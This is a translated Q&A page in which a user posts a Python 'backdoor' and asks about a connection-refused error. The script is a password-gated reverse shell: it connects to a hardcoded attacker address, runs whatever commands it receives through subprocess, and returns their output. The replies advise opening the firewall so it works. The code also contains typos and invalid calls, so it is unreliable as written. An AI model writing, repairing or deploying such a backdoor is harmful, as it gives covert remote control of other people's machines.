【问题标题】:Python Backdoor - Socket ErrorPython 后门 - 套接字错误
【发布时间】:2017-05-22 23:23:01
【问题描述】:

我以为我做了一个完美的后门,但是当我从 cmd 运行代码时,它总是弹出错误。

代码如下:

import socket 
import subprocess 

# Customizable variables
HOST = '10.0.0.138' # IP for remote connection 
PORT = 12397 # Port for remote connection 
PASS = 'Test' # Password to make sure it is secure

# Had To Make Some Changes
STR = 'Welcome'
ConnectMsg = bytes(STR.encode())

# Do not tuoch this
s = socket.socket() 

# Conecting to atack computer
s.connect((HOST, PORT)) 
s.send(ConnectMsg) 
s.send(HOST, PORT)

# Login using your custom PassWord
def Login():
    global s

    s.send('login>>> ')
    pwd = s.recv(1024)

    if pwd != PASS:
        Login ()
    else:
        Loop ()


# The fun stuff
def Loop():

    while 1: 
        data = s.recv(1024)

        if deta == ':Quit':
            break

        proc = subprocess.Popen(deta, Loop=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdoutput = proc.stdout.read() + proc.stderr.read()
        s.send(stdoutput)
        s.send('>>> ')

# Executing script
Login()

# Thankyou for downloading my script. .P.S ~ I programmed this with a smartphone XD.
# copyright @ joelwatson605@gmail.com

# I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS SCRIPT.

错误 -

文件“backdoor.py”,第 18 行,在 s.connect((HOST, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine active 拒绝了

【问题讨论】:

  • 很可能是您的防火墙,您是否尝试将其关闭?
  • 没问题的试试谢谢 :)

标签: python windows


【解决方案1】:

这与python无关,你的机器刚刚决定阻止python访问这个特定端口。尝试让您的防火墙(假设这是导致问题的原因)允许 python 进入该端口,它应该可以工作。

【讨论】:

    猜你喜欢
    • 2018-10-30
    • 2014-03-30
    • 2021-10-21
    • 2012-10-30
    • 2016-05-14
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多